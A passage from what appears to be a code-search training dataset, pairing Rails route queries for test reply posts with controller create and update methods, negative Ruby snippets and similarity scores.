"0.601718",
"0.601674",
"0.60143226",
"0.60074174",
"0.59829414",
"0.5976782",
"0.5971766",
"0.5961586",
"0.59561074",
"0.5953811",
"0.5944499",
"0.59240294",
"0.59219795",
"0.5916381",
"0.590881",
"0.5874022",
"0.5870375",
"0.5847376",
"0.58347255",
"0.58256483",
"0.5805483",
"0.57975346",
"0.5787008",
"0.57721585",
"0.5746554",
"0.5738752",
"0.5735806",
"0.5730081",
"0.57293963",
"0.5725537",
"0.5724557",
"0.57190406",
"0.5714018",
"0.57082194",
"0.5704911",
"0.5704911",
"0.5699938",
"0.56972235",
"0.5690536",
"0.56821454",
"0.5680536",
"0.5680251",
"0.5673591",
"0.56675833",
"0.56669444",
"0.5665173",
"0.5662862",
"0.56385106",
"0.56385106",
"0.56385106",
"0.5636062",
"0.5636062",
"0.5633393",
"0.5632914",
"0.5632363",
"0.56318724",
"0.5629785",
"0.56262535",
"0.56246245",
"0.5617833",
"0.56104547",
"0.56071347",
"0.56054574",
"0.5604605",
"0.56020224",
"0.56014806",
"0.560051"
] | 0.0 | -1 |
POST /testreplyposts POST /testreplyposts.json | def create
@testreplypost = Testreplypost.new(testreplypost_params)
respond_to do |format|
if @testreplypost.save
format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully created.' }
format.json { render :show, status: :created, location: @testreplypost }
else
format.html { render :new }
format.json { render json: @testreplypost.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def testreplypost_params\n params.require(:testreplypost).permit(:text, :testpost_id)\n end",
"def reply_to_post\n puts params[:reply]\n @post = Post.find(params[:reply][:post_id])\n @reply = @post.replies.build(params[:reply])\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(board_post_path(@post.board, @post), notice => 'Post was successfully created.') }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = Reply.new(params[:reply])\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reply = Reply.new(reply_params)\n\n if @reply.save\n render json: @reply, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def index\n @testreplyposts = Testreplypost.all\n end",
"def create\n @reply = Reply.new(create_reply_params)\n @post = Post.find @reply.post_id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to_reply @post, @reply }\n format.json { render json: @reply, status: :created }\n else\n render_errors(@reply, format)\n end\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def create\n @reply = @comment.replies.new(reply_params)\n @reply.user_id = session[:user_id]\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @post, notice: 'Reply was successfully created.' }\n format.json { render @post, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @reply = @post.replies.build\n @post.user_id = current_user.id\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_testreplypost\n @testreplypost = Testreplypost.find(params[:id])\n end",
"def create\n #@reply = Reply.new(reply_params)\n @post = Post.find(params[:post_id])\n @comment = Comment.find(params[:comment_id])\n # @reply = Reply.new(reply_params)\n @reply = @comment.replies.create(params[:reply].permit(:body))\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to post_path(@post), notice: \"Reply was successfully created.\" }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sub_post\n page(NavTabBarPage).select_storytab(\"Reply\")\n page(SubmissionPage).create_post(\"reply post\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(SubmissionPage).touch_discard\n end",
"def reply_params\n params.require(:reply).permit(:post_id, :body, :repliable_id, :repliable_type, :parent_id)\n end",
"def create\n @reply = Reply.new(params[:reply])\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Reply was successfully created.' }\n format.json { render json: @reply, status: :created, location: @reply }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = Reply.new(params[:reply])\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Reply was successfully created.' }\n format.json { render json: @reply, status: :created, location: @reply }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = @place.replies.new(reply_params)\n @reply.user = current_user\n if @reply.save\n render :show, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reply = Replie.new(reply_params)\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Replie was successfully created.' }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:body, :post_id, :comment_id)\n end",
"def create\n @reply = Reply.new(reply_params)\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Reply was successfully created.' }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = Reply.new(reply_params)\n\n @reply.user_id = current_user.id\n\n # If no Parent reply, make the value 0\n if(@reply.parent_id == nil)\n @reply.parent_id = 0\n end\n\n respond_to do |format|\n if @reply.save\n\n # Update the last seen date of the unread_posts record, to prevent this\n # reply being counted as 'unseen'\n UnreadPost.update_record(@reply.id, current_user.id)\n\n @post = Post.find(@reply.post_id)\n\n format.html {redirect_to(post_url(@post, page: @current_page),\n notice: 'Reply was successfully created.')}\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = Reply.new(params[:reply])\n post_id = params[:post_id]\n topic_id = params[:topic_id]\n @reply.post_id = post_id\n @reply.user_id = current_user.id\n @reply.ip = get_client_ip request\n\n respond_to do |format|\n if @reply.save\n post = @reply.post\n post.replies_count += 1\n post.replied_at = @reply.created_at\n post.save\n post.move_to_top\n create_activity current_user.id, \"Reply\", @reply.id\n flash[:notice] = 'Reply was successfully created.'\n format.html { redirect_to topic_post_replies_path(topic_id, post_id) }\n format.xml { render :xml => @reply, :status => :created, :location => @reply }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_thread_answer\n threads = []\n (1..10).each{\n threads << Thread.new{\n post \"/answer\"\n assert last_response.status == 201\n assert last_response.body.include?('action='), 'not found: action'\n assert last_response.body.include?('hi pre answer'), 'not found: hi pre answer'\n \n action = last_response.body.scan(/action=\\\"([^\\\"]+)\\\"/).first.first\n id = action.scan(/[^\\/]+$/).first\n send_digits = SecureRandom.random_number(3000)\n post \"/digits/%s\" % id, {:Digits => send_digits}\n assert last_response.status == 201, 'bad response'\n assert last_response.body.include?('<Speak >%d</Speak>' % send_digits), 'Not get the digit send %s' % send_digits\n }\n }\n threads.each{|t| t.join}\n threads.clear()\n end",
"def create\n if params[:reply_to_id].present?\n post_private_reply\n else\n post_to_list\n end\n end",
"def reply_params\n params.require(:reply).permit(:user_id, :parent_id, :post_id, :title, :text)\n end",
"def reply_params\n params.require(:reply).permit(:body)\n end",
"def create\n @reply = @message.replies.build(params[:reply])\n @reply.user_id = user_id\n respond_to do |format|\n if @reply.save\n format.js\n format.html { redirect_to(user_messages_path) }\n format.xml { render :xml => @reply, :status => :created, :location => @reply }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:body, :repliable_id)\n end",
"def create\n @reply_vote = ReplyVote.new(params[:reply_vote])\n @reply_vote.user = current_user\n @reply_vote.reply=Reply.find(params[:reply_id])\n\n respond_to do |format|\n if @reply_vote.save\n format.html { redirect_to posts_path, notice: 'Reply vote was successfully created.' }\n format.json { render json: posts_path, status: :created, location: @reply_vote }\n else\n format.html { redirect_to posts_path, :flash => {:alert => \"You can only vote once per reply!\"} }\n format.json { render json: @reply_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:body)\n end",
"def reply_params\n params.require(:reply).permit(:body)\n end",
"def post_reply_params\n params.require(:post_reply).permit(:post_id, :content, :user_id, :flag_delete)\n end",
"def create\n @reply = Reply.create_reply_for_item(params[:user],params[:reply_body], params[:item_id],params[:item_type])\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Reply was successfully created.' }\n format.json { render action: 'show', status: :created, location: @reply }\n else\n format.html { render action: 'new' }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:content)\n end",
"def reply_params\n params.require(:reply).permit(:content)\n end",
"def do_new_reply\n @feeditem_id = params['feeditem_id']\n @challenge_id = params['challenge_id']\n @reply_text = params['reply_text']\n ChallengeFeeds.post_comment(dbdc_client, @feeditem_id, @reply_text)\n redirect_to :id => @challenge_id, :action => 'show'\n end",
"def reply_params\n params.require(:reply).permit(:content, :comment_id, :user_id)\n end",
"def create\n\t\t@post = Post.find(params[:post_id])\n @replyUserID = current_user.id\n\t\t@reply = @post.replies.create(reply_params)\n # puts line of code is here for checking if the user_id was being taken in \n # This was used in debugging when linking replies to a user_id. \n puts '////'\n puts @reply.inspect\n puts '////'\n if @reply.save\n redirect_to @post, notice: 'Reply was successfully created!' \n else\n render :new\n end\n\tend",
"def create\n if params[:post].nil? or params[:post].blank?\n if request.format.json? \n render :json => 'The post is missing', :status => :unprocessable_entity\n else\n raise 'The post is missing'\n end\n return\n end\n if params[:post][:reply_to_post].blank? == false \n parent_post = Post.find(params[:post][:reply_to_post])\n \n unless (parent_post.parent_post.nil?) #restrict replies to 1 level for now\n if request.format.json? \n render :json => 'Cannot reply to a reply', :status => :unprocessable_entity\n else\n raise 'Cannot reply to a reply'\n end\n return\n end\n \n @post = parent_post.replies.new(params[:post])\n else\n @post = Post.new(params[:post])\n end\n \n @post.content = @post.content.squish\n\n @post.latitude = params[:lat]\n @post.longitude = params[:lon]\n \n current_user = resource_owner(request.env[\"HTTP_AUTHORIZATION\"][/^(Bearer|OAuth|Token) (token=)?([^\\s]*)$/, 3]) if current_user.nil?\n \n @post.user_id = current_user.id\n @post.post_date = DateTime.now\n \n @post.tag_names << TagName.find_or_create_many_tag_names(hashtags(@post.content))\n\n respond_to do |format|\n if @post.save\n format.html { \n redirect_to posts_path and return if @post.parent_post.nil?\n redirect_to url_for @post.root_parent and return\n }\n format.json { render :json => 'success', status: :created, location: @post }\n else\n format.html { render action: \"new\" } if parent_post.nil?\n format.html { render action: \"reply\" } if !parent_post.nil?\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply\n @title = \"Reply\"\n @user=User.find(params[:id])\n @micropost=Micropost.new\n respond_to do |format|\n format.html\n format.json { render json: @micropost }\n end\n\n end",
"def post_message\n\t\tdata = {\n\t\t\t:name => \"test_name_#{rand(256)}\",\n\t\t\t:message => \"test_name_#{rand(256)}\"\n\t\t}\n\t\tpost '/', data\n\t\t# Refering to the data variable in the last line of the code block\n\t\t# will cause data to be the return value.\n\t\tdata\n\tend",
"def reply_params\n params.require(:reply).permit(:content, :comment_id)\n end",
"def destroy\n @testreplypost.destroy\n respond_to do |format|\n format.html { redirect_to testreplyposts_url, notice: 'Testreplypost was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def post(content)\n post_to(\"/api/v1/messages/\", {:body => content})\n end",
"def create\n @rreply = Rreply.new(rreply_params)\n\n respond_to do |format|\n if @rreply.save\n format.html { redirect_to @rreply, notice: 'Rreply was successfully created.' }\n format.json { render :show, status: :created, location: @rreply }\n else\n format.html { render :new }\n format.json { render json: @rreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n begin\n # Find the paper\n note = Note.find(params[:note_id])\n # Authenticate\n can_access_club?(Paper.find(note.paper_id).club_id)\n # New note\n new_reply = Reply.create(content: params[:content],\n user_id: current_user.id,\n note_id: note.id)\n if new_reply\n render :json => new_reply\n else\n error \"Failed to create a new reply\"\n end\n rescue ActiveRecord::RecordNotFound\n error \"Can't access the club or the paper or the note\"\n end\n end",
"def test_create_on_post\n post :create,\n :post_id => posts(:by_quentin).id,\n :content => 'This is a test note from aaron...'\n assert_response :redirect\n end",
"def test_client_post\n client = CoAP::Client.new\n answer = client.post('coap.me', 5683, '/test', 'TD_COAP_CORE_04')\n assert_equal(2, answer.mcode[0])\n assert_equal(1, answer.mcode[1])\n assert_equal('POST OK', answer.payload)\n end",
"def index\n @post_replies = PostReply.all\n end",
"def create\n @reply = Reply.new(reply_params)\n @reply.list_id = @list.id\n @reply.user_id = current_user.id\n\n if @reply.save\n @replies_count = @topic.replies_count + 2\n current_user.read_topic(@topic)\n @msg = t('topics.reply_success')\n else\n @msg = @reply.errors.full_messages.join('<br />')\n end\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def reply_params\n params.require(:reply).permit(:body, :author_id)\n end",
"def create\n @reply = Reply.new(reply_params)\n @reply.author_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @reply, notice: 'Reply was successfully created.' }\n format.json { render :show, status: :created, location: @reply }\n format.js { render template: 'replies/create.js.erb' }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:replier, :topic, :reply_body)\n end",
"def create\n @likesforreply = Likesforreply.new(params[:likesforreply])\n\n respond_to do |format|\n if @likesforreply.save\n format.html { redirect_to @likesforreply, notice: 'Likesforreply was successfully created.' }\n format.json { render json: @likesforreply, status: :created, location: @likesforreply }\n else\n format.html { render action: \"new\" }\n format.json { render json: @likesforreply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:content, :puntos, :user_id, :contribution_id, :comment_id)\n end",
"def post(*args)\n request(:post, *args)\n end",
"def create\n @post_reply = PostReply.new\n @post_reply.post_id = params[:id]\n @post_reply.content = params[:content]\n @post_reply.user_id = current_user.id\n if @post_reply.save\n flash[:notice] = \"Reply was succefully created\"\n redirect_to post_path(params[:id])\n else\n flash[:alert] = \"Error : Content can't be blank\"\n redirect_to post_path(params[:id])\n end\n end",
"def post(*args)\n request :post, *args\n end",
"def test_create_reply_to_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:tim_reply_to__andy_to_kevin_about_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n send_message(@matt, @tim, reply_to, about)\r\n end",
"def post(forum, topic, message)\n self.validate_post_input(forum, topic, message)\n self.auth.login_with_raises\n uri = self.get_reply_uri(forum, topic)\n page = get_reply_page(uri)\n form = get_post_form(page)\n set_message(form, message)\n page = post_message(form)\n post = get_post_from_result(page)\n\n { :forum => forum,\n :topic => topic,\n :post => post,\n :message => message,\n :result => true }\n end",
"def reply_params\n params.require(:reply).permit(:nestreply_id, :answer, :emp_login_id, :forum_id) if params[:reply]\n end",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def create\n @test_post = TestPost.new(test_post_params)\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render :show, status: :created, location: @test_post }\n else\n format.html { render :new }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_post = TestPost.new(params[:test_post])\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render json: @test_post, status: :created, location: @test_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_params\n\t\tparams.require(:reply).permit(:commenter, :body, :user_id)\n\tend",
"def create\n @reply = @topic.replies.build(params[:reply])\n @reply.user = current_user\n respond_to do |format|\n if @reply.save\n flash[:notice] = '已成功创建回复。'\n format.html { redirect_to([Forum.find(@topic.forum_id), @topic]) }\n format.xml { render :xml => @reply, :status => :created, :location => @reply }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:entry, :user_id, :topic_id, :comment_id)\n end",
"def create\n @forum = Forum.find(params[:id])\n @reply = @forum.replies.create(params[:reply])\n if @reply.save\n @forum.update_attribute(\"no_of_replies\", @forum.no_of_replies.to_i + 1)\n redirect_to emp_logins_forums_url(@forum), notice: 'Your reply was saved successfully.'\n else\n redirect_to emp_logins_forums_url(@forum), notice: \"Couldn't save your reply!\"\n end\n end",
"def test_create_palindrome_message\n body = {\n \tdata: {\n \t\ttype: 'messages',\n \t\tattributes: {\n \t\t\tcontent: 'racecar'\n \t\t}\n \t}\n }\n\n post '/messages', body.to_json, 'CONTENT_TYPE' => AppConstants::CONTENT_TYPE\n assert last_response.created?\n assert_equal 'application/vnd.api+json', last_response.headers['Content-Type']\n\n response_body = JSON.parse last_response.body\n data = response_body['data']\n\n assert_equal 'messages', data['type']\n assert_equal body[:data][:attributes][:content], data['attributes']['content']\n assert data['attributes']['is_palindrome']\n assert_equal \"localhost:4567/messages/#{data['id']}\", last_response.headers['Location']\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def set_post_reply\n @post_reply = PostReply.find(params[:id])\n end",
"def create\n @reply_vote = ReplyVote.new(params[:reply_vote])\n\n respond_to do |format|\n if @reply_vote.save\n format.html { redirect_to @reply_vote, notice: 'Reply vote was successfully created.' }\n format.json { render json: @reply_vote, status: :created, location: @reply_vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reply_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_post_success_with_param\n post \"/\", {:data => @test_obj} do |response|\n assert response.ok?, \"Create test object failed\"\n assert_equal response.body, @test_obj.to_json, \"Did not get @test_obj back\"\n end\n end",
"def reply_answer_params\n params.require(:reply_answer).permit(:body, :user_id, :question_id, :answer_id)\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n if @test.done.blank?\n redirect_to root_path, warning: \"This test have not finished yet\"\n return\n end\n params[:submission] = {}\n params[:submission][:user_id] = current_user.id\n @submission = @test.submissions.create(submission_params)\n respond_to do |format|\n if @submission.save\n @test.questions.each do |question|\n question.answers.each do |answer|\n answer.answers_of_questions.create({choice: false, question_id: question.id, submission_id: @submission.id})\n end\n end\n format.html { redirect_to edit_test_submission_path(@test, @submission) }\n else\n format.html { render :new }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:place_id, :user_id, :character_id, :body)\n end",
"def reply_params\n params.require(:reply).permit(:question_id, :reply, :bool)\n end",
"def new\n @reply = Reply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def new\n begin\n @post = Post.find(params[:post_id])\n @user = current_user\n rescue ActiveRecord::RecordNotFound\n logger.error \"Accessed invalid post #{params[:post_id]}\"\n redirect_to posts_path, :notice => 'Invalid post id'\n else\n @reply = @user.replies.build\n @reply.user_id = @user.id\n @reply.post_id = @post.id\n end\n @post.save\n @reply.save\n respond_to do |format|\n format.html { redirect_to edit_reply_path(@reply), notice: @post.title }\n format.json { render json: @reply }\n end\n end",
"def create_post_in_conversation(content, parent_post_id, api_url, headers)\n body = {\"d\":{\"HtmlContent\":\"<div class=input><p>#{content}</p></div>\"}}\n response = post \"#{@api_url}/Posts('#{parent_post_id}')/Posts\", body, headers\n expect_status(201)\n\n post_id = JSON.parse(response)[\"d\"][\"results\"][\"Id\"]\n end",
"def create_guest_review_reply(review, options = {})\n post(\"reviews/#{review}/reply\", review_replies: [options]).pop\n end",
"def user_reply_params\n params.require(:user_reply).permit(:user_id, :reply_id)\n end",
"def post(path, **args); end",
"def reply_params\n params.require(:reply).permit(:lesson_component_id, :user_id, :reply_id, :body)\n end",
"def create_replies(comment, post_id, parent_id)\nuser_id = User.all.sample.id\nComment.create({\n user_id: user_id,\n parent_id: parent_id,\n parent_type: 'Comment',\n post_id: post_id,\n body: comment[\"comment\"]\n})\nVote.create({\n user_id: user_id,\n voteable_id: parent_id,\n voteable_type: 'Comment',\n vote_type: \"Upvote\"\n\n})\nif (comment[\"children\"])\n comment[\"children\"].reverse[0..2].each do |reply |\n create_replies(reply, post_id, parent_id)\n end\nend\n\nend",
"def update\n respond_to do |format|\n if @testreplypost.update(testreplypost_params)\n format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully updated.' }\n format.json { render :show, status: :ok, location: @testreplypost }\n else\n format.html { render :edit }\n format.json { render json: @testreplypost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quick_reply(content, quickreplyid, tofakeid)\n post_uri = 'cgi-bin/singlesend'\\\n \"?t=ajax-response&f=json&token=#{ @token }&lang=zh_CN\"\n params = {\n ajax: 1,\n content: content,\n f: 'json',\n imgcode: '',\n lang: 'zh_CN',\n mask: false,\n quickreplyid: quickreplyid,\n random: rand,\n tofakeid: tofakeid,\n token: @token,\n type: 1\n }\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/message'\\\n \"?t=message/list&count=20&day=7&token=#{ @token }&lang=zh_CN\"\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n res = resource[post_uri].post params\n #\n # 10706: \"customer block\" => \"48小时内的才行\"\n JSON.parse res.to_s\n end",
"def create\n @topic = Topic.get(params[:topic_id])\n redirect_to @topic, :notice => \"Not allowed!\" unless current_user.can_write(@topic.forum)\n @reply = @topic.replies.new(params[:reply])\n @reply.author = current_user\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(@topic , :notice => 'Reply was successfully created.') }\n format.xml { render :xml => @reply, :status => :created, :location => @reply }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reply.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def reply_params\n params.require(:reply).permit(:message, :realtor_id, :inquiry_id)\n end",
"def test_create_reply_to_reply_to_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:matt_reply_to__tim_reply_to__andy_to_kevin_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n notified_users = send_message(@kevin, @matt, reply_to, about)\r\n assert !notified_users.include?(@kevin),\r\n \"Owner of the review should not receive their own comments on the review.\"\r\n end",
"def reply\n @comment = Comment.find params[:id]\n @new_comment = @comment.replies.create reply_params\n @new_comment.commentable_id = @comment.id\n @new_comment.user_id = current_user.id\n\n if @new_comment.save\n flash[:success] = \"Success\"\n redirect_to \"/reply/\" + @comment.commentable_id.to_s\n else\n flash[:danger] = \"No success\"\n redirect_to \"/reply/\" + params[:id]\n end\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end",
"def create\n @reply_answer = ReplyAnswer.new(reply_answer_params)\n\n @answer = Answer.find_by_id(@reply_answer.answer_id)\n @replyer = User.find_by_id(@reply_answer.user_id)\n @answerer = User.find_by_id(@answer.user_id)\n @question = Question.find_by_id(@reply_answer.question_id)\n\n\n # Sends email to original answerer letting them know that a reply has been made.\n UserMailer.reply_to_answer_question(@question, @answerer, @replyer, @answer, @reply_answer).deliver\n\n respond_to do |format|\n if @reply_answer.save\n format.html { redirect_to question_path(@reply_answer.question_id), notice: 'Reply answer was successfully created.' }\n format.json { render :show, status: :created, location: @reply_answer }\n else\n format.html { render :new }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @texto = Texto.new\n 0.times { @texto.replies.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @textos }\n end\n end",
"def reply_params\n params.require(:replie).permit(:blog_id, :comment)\n end",
"def create_post(params)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.post(new_post_endpoint, { 'router.params' => params, format: :json })\n end",
"def post\r\n end"
] | [
"0.66744643",
"0.656458",
"0.6517219",
"0.649634",
"0.6437977",
"0.6415763",
"0.6371864",
"0.62719953",
"0.62571985",
"0.62467",
"0.61737525",
"0.6069886",
"0.6069743",
"0.60460824",
"0.60460824",
"0.60304666",
"0.601452",
"0.5977733",
"0.59768456",
"0.5963004",
"0.59563494",
"0.5883662",
"0.58637077",
"0.585764",
"0.58530617",
"0.5851871",
"0.5846748",
"0.58451694",
"0.5824174",
"0.5824174",
"0.5818559",
"0.58150923",
"0.581045",
"0.581045",
"0.5790483",
"0.5771051",
"0.5762118",
"0.5759821",
"0.5759017",
"0.57553065",
"0.5736484",
"0.56970847",
"0.56892955",
"0.56742936",
"0.5673012",
"0.56626576",
"0.5654237",
"0.56515294",
"0.5637341",
"0.5611153",
"0.5611153",
"0.5608154",
"0.5603437",
"0.559973",
"0.55959153",
"0.5593604",
"0.5587885",
"0.5579374",
"0.55590564",
"0.5537759",
"0.5531747",
"0.55293715",
"0.55229497",
"0.55158377",
"0.5506398",
"0.5494749",
"0.54901016",
"0.54887724",
"0.5488674",
"0.5481705",
"0.5480136",
"0.54629356",
"0.5462838",
"0.54577535",
"0.5444065",
"0.5440207",
"0.54392636",
"0.5438737",
"0.5438131",
"0.54277486",
"0.5423174",
"0.5419791",
"0.54154605",
"0.54082805",
"0.5393601",
"0.53847474",
"0.5381863",
"0.53818333",
"0.53727144",
"0.53723556",
"0.5371756",
"0.53708684",
"0.5361478",
"0.5351816",
"0.53366107",
"0.53356963",
"0.53342336",
"0.5324059",
"0.5317209",
"0.530788"
] | 0.71013653 | 0 |
PATCH/PUT /testreplyposts/1 PATCH/PUT /testreplyposts/1.json | def update
respond_to do |format|
if @testreplypost.update(testreplypost_params)
format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully updated.' }
format.json { render :show, status: :ok, location: @testreplypost }
else
format.html { render :edit }
format.json { render json: @testreplypost.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @reply = Reply.find(params[:id])\n\n if @reply.update(params[:reply])\n head :no_content\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def update\n @reply = Reply.find(params[:id])\n\n if @reply.update(reply_params)\n head :no_content\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def update\n @reply = Reply.find(params[:id])\n @post = @reply.post\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.update_attributes(params[:reply])\n format.html { redirect_to @post , notice: 'Reply added' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { render @post, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @reply\n\n respond_to do |format|\n if @reply.update(update_reply_params)\n format.html { redirect_to_reply @post, @reply }\n format.json { render json: @reply, status: :ok }\n else\n render_errors(@reply, format)\n end\n end\n end",
"def update!(**args)\n @replies = args[:replies] if args.key?(:replies)\n @root_comment = args[:root_comment] if args.key?(:root_comment)\n end",
"def update\n respond_to do |format|\n if @reply.update(reply_params)\n format.html { redirect_to @reply, notice: 'Reply was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reply.errors, status: :unprocessable_entity }\n end\n end\n end",
